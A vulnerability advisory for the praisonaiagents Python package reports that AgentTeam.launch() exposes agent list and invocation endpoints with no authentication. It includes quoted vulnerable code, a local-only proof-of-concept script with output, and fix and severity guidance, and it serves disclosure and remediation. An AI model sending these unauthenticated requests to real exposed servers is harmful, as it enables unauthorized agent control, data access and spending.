PT-2026-53153 · Pypi · Praisonaiagents

Published 2026-06-18 · Updated 2026-06-18

OSV

CVSS v3.1

9.8

Critical

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

PraisonAI AgentTeam.launch() exposes unauthenticated remote agent invocation endpoints

Summary

PraisonAI's documented Python AgentTeam.launch() / Agents.launch() HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.

The current implementation registers GET /{path}/list, POST /{path}, and POST /{path}/{agent id} routes. The POST routes directly call agent.chat(...). Requests with no Authorization header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for Agents.launch() is 0.0.0.0, and official documentation shows host="0.0.0.0" for remote access.

This is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the AgentTeam.launch() FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.

This report is scoped to the Python AgentTeam.launch() / Agents.launch() route-registration path. It does not require adjudicating whether the separate praisonai serve agents --api-key CLI path is correctly enforced.

Affected Components

• Package: praisonaiagents
• Current upstream main tested: 2f9677abb2ea68eab864ee8b6a828fd0141612e1
• Latest release tag tested: v4.6.57
• Primary file: src/praisonai-agents/praisonaiagents/agents/agents.py
• Current line references: AgentTeam.launch() begins at line 1923; the group POST route is registered at line 2007; the group handler invokes agent instance.chat(...) at line 2042; the unauthenticated list route is registered at line 2086; per-agent handlers invoke agent.chat(...) at line

• Primary class/API: AgentTeam.launch() / exported alias Agents
• Affected routes:
• GET /{path}/list: lists deployed agents.
• POST /{path}: sequentially invokes all agents in the team.
• POST /{path}/{agent id}: invokes a specific agent.

Current vulnerable sink:

@app.post(path)
async def handle query(request: Request, query data: Optional[AgentQuery] = None):
  ...
  response = await loop.run in executor(
    None,
    copy context to callable(lambda ci=current input: agent instance.chat(ci)),
  )

Per-agent sink:

app.post(agent path)(create agent handler(agent instance))
...
response = await loop.run in executor(
  None,
  copy context to callable(lambda q=query: agent.chat(q)),
)

List endpoint:

@app.get(f"{path}/list")
async def list agents():
  return {"agents": [{"name": agent.display name, "id": ...} for agent in self.agents]}

There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.

Security Boundary

This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return 401 and API servers bind to 127.0.0.1 by default after the prior unauthenticated API advisory family.

The codebase also contains hardened sibling implementations:

• praisonai.deploy.api now has AUTH ENABLED, PRAISONAI API TOKEN, generated tokens, and 401 Unauthorized checks (src/praisonai/praisonai/deploy/api.py lines 44-62 and 69-97).
• praisonai.gateway.server.WebSocketGateway validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (src/praisonai/praisonai/gateway/server.py lines 328-424).
• praisonai call hardening is documented as requiring CALL SERVER TOKEN or explicit opt-out.

AgentTeam.launch() remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.

Local-Only Reproduction

Run the local-only PoV script below with current source on PYTHONPATH:

PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" 
 python poc agentteam launch unauth.py

Expected vulnerable result:

[poc] HIT: unauthenticated clients invoked AgentTeam endpoints

Observed on current upstream main:

{
 "results": [
  {
   "body": {
    "agents": [
     {
      "id": "pov agent",
      "name": "pov agent"
     }
    ]
   },
   "case": "no auth list",
   "method": "GET",
   "path": "/agents/list",
   "status": 200
  },
  {
   "case": "no auth group",
   "method": "POST",
   "path": "/agents",
   "status": 200,
   "body": {
    "final response": "POV UNAUTH AGENTTEAM EXECUTED:marker",
    "query": "marker",
    "results": [
     {
      "agent": "pov agent",
      "response": "POV UNAUTH AGENTTEAM EXECUTED:marker"
     }
    ]
   }
  },
  {
   "case": "wrong bearer group",
   "method": "POST",
   "path": "/agents",
   "status": 200,
   "body": {
    "final response": "POV UNAUTH AGENTTEAM EXECUTED:marker",
    "query": "marker",
    "results": [
     {
      "agent": "pov agent",
      "response": "POV UNAUTH AGENTTEAM EXECUTED:marker"
     }
    ]
   }
  },
  {
   "case": "no auth per agent",
   "method": "POST",
   "path": "/agents/pov agent",
   "status": 200,
   "body": {
    "agent": "pov agent",
    "query": "marker",
    "response": "POV UNAUTH AGENTTEAM EXECUTED:marker"
   }
  }
 ]
}

The PoV binds to 127.0.0.1, uses a randomly selected local port, stubs agent.chat() to avoid any external LLM provider, and sends only local HTTP requests.

Standalone PoV script:

#!/usr/bin/env python3
"""
Local-only PoV for PRAI-CAND-003.

Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed
agent response, then proves both the group endpoint and per-agent endpoint
execute without authentication. No model provider or external network is used.
"""

import json
import socket
import time
import types
import threading
from contextlib import closing

import requests
from praisonaiagents import Agent, Agents


def free port() -> int:
  with closing(socket.socket(socket.AF INET, socket.SOCK STREAM)) as sock:
    sock.bind(("127.0.0.1", 0))
    return sock.getsockname()[1]


def main() -> int:
  port = free port()

  agent = Agent(
    name="pov agent",
    role="tester",
    goal="test",
    backstory="test",
    llm=None,
  )

  def stub chat(self, query, *args, **kwargs):
    return f"POV UNAUTH AGENTTEAM EXECUTED:{query}"

  agent.chat = types.MethodType(stub chat, agent)
  team = Agents(agents=[agent])
  launch thread = threading.Thread(
    target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False),
    daemon=True,
  )
  launch thread.start()

  base = f"http://127.0.0.1:{port}"
  for  in range(40):
    try:
      response = requests.get(base + "/health", timeout=0.25)
      if response.status code == 200:
        break
    except Exception:
      time.sleep(0.1)
  else:
    raise SystemExit("[poc] MISS: server did not start")

  cases = [
    ("no auth list", "GET", {}, "/agents/list", None),
    ("no auth group", "POST", {}, "/agents", {"query": "marker"}),
    (
      "wrong bearer group",
      "POST",
      {"Authorization": "Bearer definitely-wrong"},
      "/agents",
      {"query": "marker"},
    ),
    ("no auth per agent", "POST", {}, "/agents/pov agent", {"query": "marker"}),
  ]
  results = []
  for name, method, headers, path, body in cases:
    if method == "GET":
      response = requests.get(base + path, headers=headers, timeout=5)
    else:
      response = requests.post(base + path, json=body, headers=headers, timeout=5)
    try:
      body = response.json()
    except Exception:
      body = response.text
    results.append(
      {
        "case": name,
        "method": method,
        "path": path,
        "status": response.status code,
        "body": body,
      }
    )

  print(json.dumps({"port": port, "results": results}, indent=2, sort keys=True))

  expected marker = "POV UNAUTH AGENTTEAM EXECUTED:marker"
  for result in results:
    if result["status"] != 200:
      raise SystemExit(f"[poc] MISS: {result['case']} returned {result['status']}")
    if result["case"] == "no auth list" and "pov agent" not in json.dumps(result["body"]):
      raise SystemExit("[poc] MISS: unauthenticated list endpoint did not expose agent id")
    if result["case"] == "no auth list":
      continue
    body text = json.dumps(result["body"], sort keys=True)
    if expected marker not in body text:
      raise SystemExit(f"[poc] MISS: marker absent for {result['case']}")

  print("[poc] HIT: unauthenticated clients invoked AgentTeam endpoints")
  return 0


if  name  == " main ":
  raise SystemExit(main())

Impact

If an operator follows the documented remote-server pattern and exposes an AgentTeam.launch() server on a reachable interface, any network client can invoke the deployed agents without credentials.

Depending on the deployed agents, an unauthenticated caller may be able to:

• enumerate available agent IDs and names through GET /{path}/list;
• trigger model/API spend by repeatedly invoking agents;
• drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;
• trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;
• access responses generated from connected private context, memory, or knowledge sources.

The impact is deployment-dependent, but the missing access control is in the framework's advertised network server path rather than in user application code.

Affected-Version Sweep

Static sweep of release tags shows the unauthenticated AgentTeam.launch() handler and per-agent registration present in:

• v4.6.33
• v4.6.39
• v4.6.40
• v4.6.56
• v4.6.57

The issue remains present on current upstream main 2f9677abb2ea68eab864ee8b6a828fd0141612e1.

The generated deploy API path was hardened between v4.6.33 and v4.6.39, and remains hardened in v4.6.57. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover AgentTeam.launch().

Root Cause

The AgentTeam.launch() FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.

The security-sensitive action is direct invocation of agent.chat() from a network request. The route has no access-control check before that call.

Suggested Fix

Recommended approach:

1. Add a shared authentication helper for all network-facing agent invocation servers.
2. Make AgentTeam.launch() fail closed for non-loopback binds unless a token/API key is configured.
3. Require Authorization: Bearer <token> or an explicit documented API-key header for POST /{path}, GET /{path}/list, and POST /{path}/{agent id}.
4. Default AgentTeam.launch() to host="127.0.0.1" unless an explicit unsafe/remote option plus auth is configured.
5. Add regression tests proving:

• no token returns 401;
• wrong token returns 403;
• correct token can list agents;
• correct token can invoke the team endpoint;
• correct token can invoke the per-agent endpoint;
• external bind without auth fails at startup.

If unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.

Severity

Recommended severity: Critical

Rationale:

• Network attack vector: the documented server supports remote access via 0.0.0.0.
• Low complexity: a single POST request invokes the agent.
• No privileges: no credentials are required.
• No user interaction: once the server is exposed, the attacker directly sends requests.
• High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.

If maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.

Notes

The direct single-agent Agent.launch() path in current source appears to share the same missing-auth design, but it raises NameError: name ' server lock' is not defined before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working AgentTeam.launch() / Agents.launch() path.

The CLI praisonai serve agents surface advertises a --api-key option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.

Fix

Missing Authentication

Missing Authorization

Weakness Enumeration

CWE-306

CWE-862

Related Identifiers

GHSA-X8CV-XMQ7-P8XP

Affected Products

Praisonaiagents

References · 3

• https://osv.dev/vulnerability/GHSA-x8cv-xmq7-p8xp · Vendor Advisory
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp · Note
• https://github.com/MervinPraison/PraisonAI · Note